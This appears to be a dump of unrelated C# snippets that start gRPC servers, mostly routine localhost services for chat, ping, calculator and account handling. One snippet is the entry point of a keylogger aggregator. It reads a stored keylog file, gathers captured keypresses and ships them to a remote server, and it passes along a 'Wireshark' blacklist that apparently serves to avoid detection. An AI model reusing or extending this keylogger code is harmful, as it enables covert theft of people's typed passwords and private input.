static void Main(string[] args) { Console.WriteLine("Starting RPC Chat server..."); Grpc.Core.Server server = new Grpc.Core.Server() { Services = { ChatContract.BindService(new Rpc.ChatService()) }, Ports = { new Grpc.Core.ServerPort("localhost", SERVER_PORT, Grpc.Core.ServerCredentials.Insecure) } }; try { server.Start(); Console.WriteLine($"Chat service listening in port {SERVER_PORT}"); } catch (Exception) { Console.WriteLine("Failed to start RPC server"); } Console.WriteLine("Press any key to exit the server..."); Console.ReadKey(); server.ShutdownAsync().Wait(); }
static void Main(string[] args) { var server = new Grpc.Core.Server() { Services = { Chat.Grpc.AuthServer.BindService(new AuthServer("172.17.0.2")) }, Ports = { new Grpc.Core.ServerPort("0.0.0.0", 50001, Grpc.Core.ServerCredentials.Insecure) } }; server.Start(); //================================= var exitEvent = new System.Threading.ManualResetEvent(false); Console.CancelKeyPress += (sender, e) => exitEvent.Set(); exitEvent.WaitOne(); server.ShutdownAsync().Wait(); }
protected void Run() { Server.Start(); Console.WriteLine($"{Options.Name} v{Options.Version} server listening on port " + Options.Port); Console.WriteLine("Press key 'Q' to stop the server..."); CheckShutdown(); }
static void Main(string[] args) { Grpc.Core.Server server = null; try { server = new Grpc.Core.Server() { // bind grpc service with its implenetation that server can route the client call to that implementation. Services = { Greeting.GreetingService.BindService(new GreetingServiceImp()) }, Ports = { new Grpc.Core.ServerPort("localhost", port, Grpc.Core.ServerCredentials.Insecure) } }; server.Start(); Console.WriteLine("Server started on port : " + port); Console.WriteLine("Server started on port : " + server.Ports); Console.ReadLine(); } catch (Exception e) { Console.WriteLine(e.Message); throw; }finally { if (server != null) { server.ShutdownAsync().Wait(); } } }
///<summary> ///Aggregates key-presses sent from the hook key logger. ///</summary> static void Main(string[] args) { // The path of the keylog file string path = Environment.GetFolderPath(Environment.SpecialFolder.Personal) + "\\keylog"; // The new file that holds the extracted data string newFile = Environment.GetFolderPath(Environment.SpecialFolder.Personal) + "\\data"; string addr = "localhost"; int port = 4567; string serveraddr; int serverport = 13000; var blacklist = new List<string>(); blacklist.Add("Wireshark"); if (args.Length == 1) { serveraddr = args[0]; } else { serveraddr = "server"; } // Setup the shared resources ConcurrentQueue<KeyPress> inputbuffer = new ConcurrentQueue<KeyPress>(); ConcurrentQueue<CI> outbuffer = new ConcurrentQueue<CI>(); Grpc.Core.Server server = new Grpc.Core.Server { Services = { HookKeylogger.Base.KerPressAggergator.BindService(new KeyPressAggergatorImpl(inputbuffer)) }, Ports = { new Grpc.Core.ServerPort(addr, port, Grpc.Core.ServerCredentials.Insecure) } }; ServerClient client = new ServerClient(serveraddr, serverport, blacklist.ToArray()); KeyPressAggergator ksa = new KeyPressAggergator(inputbuffer, client); Thread aggergationThread = new Thread(new ThreadStart(ksa.Scan)); Thread sendThread = new Thread(new ThreadStart(client.Start)); // Start threads and server aggergationThread.Start(); sendThread.Start(); server.Start(); //Console.WriteLine("Key-Press Aggergation server listening on " +addr + ":" + port); //Console.WriteLine("Press any key to stop the aggregation server..."); //Console.ReadKey(); while (true) { System.Threading.Thread.Sleep(100000); } // Shutdown and wait for all threads to finish before exiting. aggergationThread.Abort(); aggergationThread.Join(); sendThread.Abort(); sendThread.Join(); server.ShutdownAsync(); }
static void Main(string[] args) { Grpc.Core.Server server = new Grpc.Core.Server { Services = { PingPongPlayer.BindService(new PingPongPlayerImpl()) }, Ports = { new Grpc.Core.ServerPort("localhost", Port, Grpc.Core.ServerCredentials.Insecure) } }; server.Start(); Console.WriteLine("Server listening on port " + Port); Console.WriteLine("Press any key to quit..."); Console.ReadKey(); server.ShutdownAsync().Wait(); }
public void Init() { System.Diagnostics.Debug.WriteLine($"Starting the PingMock service at Port {Port}"); PingServiceMock = new Mocking.PingMock(); Server = new Grpc.Core.Server { Services = { ClassLibrary1.Protos.Ping.BindService(PingServiceMock) }, Ports = { new Grpc.Core.ServerPort("localhost", port: Port, Grpc.Core.ServerCredentials.Insecure) } }; Server.Start(); System.Diagnostics.Debug.WriteLine($"Server Started."); }
static async Task Main(string[] args) { Grpc.Core.Server server = new Grpc.Core.Server { Services = { Calculator.BindService(new CalculatorImpl()) }, Ports = { new Grpc.Core.ServerPort("localhost", Port, Grpc.Core.ServerCredentials.Insecure) } }; server.Start(); Console.WriteLine("Calculator server listening on port " + Port); Console.WriteLine("Press any key to stop the server..."); Console.ReadKey(); await server.ShutdownAsync(); }
private static void StartServer() { var server = new Grpc.Core.Server { Services = { ParticipanteService.BindService(services.GetService <Services.ParticipanteService>()) }, Ports = { new Grpc.Core.ServerPort("localhost", Port, Grpc.Core.ServerCredentials.Insecure) } }; server.Start(); Console.WriteLine($"Server listening on port {Port}"); Console.WriteLine("Press any key to stop the server..."); Console.ReadKey(); server.ShutdownAsync().Wait(); }
public static void Initialize(string host, int port, IServiceProvider serviceProvider, IMapper mapper) { var server = new Grpc.Core.Server { Services = { RemoteServices.Identity.Service.BindService(new RemoteIdentityServices(serviceProvider, mapper)) }, Ports = { new Grpc.Core.ServerPort(host, port, Grpc.Core.ServerCredentials.Insecure) } }; server.Start(); Log.Information($"gRPC services listening on port { port }"); //server.ShutdownAsync().Wait(); }
static void Main(string[] args) { Console.WriteLine("Starting the service..."); var server = new Grpc.Core.Server { Services = { ClassLibrary1.Protos.Ping.BindService(new PingImplementation()) }, Ports = { new Grpc.Core.ServerPort("localhost", 50051, Grpc.Core.ServerCredentials.Insecure) } }; server.Start(); Console.WriteLine("Ping server listening on port 50051"); Console.WriteLine("Press any key to stop the server..."); Console.ReadKey(); server.ShutdownAsync().Wait(); }
public static void Initialize(int port, IServiceProvider serviceProvider, IMapper mapper) { var server = new Grpc.Core.Server { Services = { AccountServices.BindService(new AccountServicesImplementation(serviceProvider, mapper)), BackgroundServices.BindService(new BackgroundServicesImplementation()) }, Ports = { new Grpc.Core.ServerPort("localhost", port, Grpc.Core.ServerCredentials.Insecure) } }; server.Start(); Log.Information($"Account gRPC service listening on port { port }"); //server.ShutdownAsync().Wait(); }
static void Main(string[] args) { var grpcServer = new Grpc.Core.Server() { Services = { SOULS.Server.Server.BindService(new FormatsServer()) }, Ports = { new Grpc.Core.ServerPort("localhost", 50001, Grpc.Core.ServerCredentials.Insecure) } }; grpcServer.Start(); Console.WriteLine("Server is working"); Console.WriteLine("Press any key to stop"); Console.ReadKey(); Console.WriteLine("Stopping..."); grpcServer.ShutdownAsync().Wait(); Console.WriteLine("Stopped."); }
static void Main(string[] args) { var server = new Grpc.Core.Server { Services = { ServiceDefinition.AccountServices.Account.BindService(new ServiceDefinitionImplementation()) }, Ports = { new Grpc.Core.ServerPort("localhost", Port, Grpc.Core.ServerCredentials.Insecure) } }; server.Start(); Console.WriteLine($"Account service listening on port { Port }"); Console.WriteLine("Press any key to stop the server..."); Console.ReadKey(); server.ShutdownAsync().Wait(); }
public static void Main(string[] args) { Grpc.Core.Server server = new Grpc.Core.Server { Services = { Greeter.BindService(new GreeterService()) }, Ports = { new Grpc.Core.ServerPort("localhost", Port, Grpc.Core.ServerCredentials.Insecure) } }; server.Start(); Console.WriteLine("gRPC服务开启的端口 " + Port); Console.WriteLine("任意键退出"); RegisterConsul(); Console.ReadKey(); server.ShutdownAsync().Wait(); }
public static void Main(string[] args) { var host = CreateWebHostBuilder(args).Build(); Grpc.Core.Server server = new Grpc.Core.Server { Services = { Greeter.BindService(new GreeterService()) }, Ports = { new Grpc.Core.ServerPort("localhost", Port, Grpc.Core.ServerCredentials.Insecure) } }; server.Start(); Console.WriteLine("gRPC服务开启的端口 " + Port); //Console.WriteLine("任意键退出"); //Console.ReadKey(); host.Run(); server.ShutdownAsync().Wait(); }
public async static Task StartService(string[] args) { await Task.Yield(); var provider = lib.Provider.serviceProvider; var port = 3000; Grpc.Core.Server server = new Grpc.Core.Server { Services = { TreeDiagram.GridLogService.BindService(provider.GetRequiredService <lib.gRPCBridge.Server>()) }, Ports = { new Grpc.Core.ServerPort("localhost", port, Grpc.Core.ServerCredentials.Insecure) } }; server.Start(); Console.WriteLine("gRPC server listening on port " + port); while (true) { await Task.Delay(1000); } // await server.ShutdownAsync(); }
public void StartServer() { _server.Start(); }
/// <summary> /// Start server /// </summary> /// <returns></returns> public Task StartAsync() { Init(); _server.Start(); return(Task.CompletedTask); }
static void Main(string[] args) { const int serverPort = 50001; var server = new Grpc.Core.Server() { Services = { Chat.Grpc.Auth.BindService(new AuthServer("mongo")) }, Ports = { new Grpc.Core.ServerPort("0.0.0.0", serverPort, Grpc.Core.ServerCredentials.Insecure) } }; server.Start(); //================================= var naming = new Chat.Grpc.Naming.NamingClient(new Grpc.Core.Channel("naming:7777", Grpc.Core.ChannelCredentials.Insecure)); if (naming.RegisterService(new Chat.Grpc.RegistrationRequest() { Health = 100, Name = Chat.Grpc.ServiceType.Auth, Port = serverPort }).Success) { var exitEvent = new System.Threading.ManualResetEvent(false); var pingTimer = new System.Threading.Timer((state) => { try { if (naming.Ping(new Chat.Grpc.PingRequest() { Health = 100, Name = Chat.Grpc.ServiceType.Auth, Port = serverPort }).Success) { return; } }catch (Grpc.Core.RpcException) { } exitEvent.Set(); }, null, 3000, 3000); //======================================== Console.CancelKeyPress += (sender, e) => exitEvent.Set(); Console.WriteLine("Serviço de autenticação em execução..."); exitEvent.WaitOne(); } else { Console.WriteLine("O registro no servidor de nomes falhou."); } server.ShutdownAsync().Wait(); }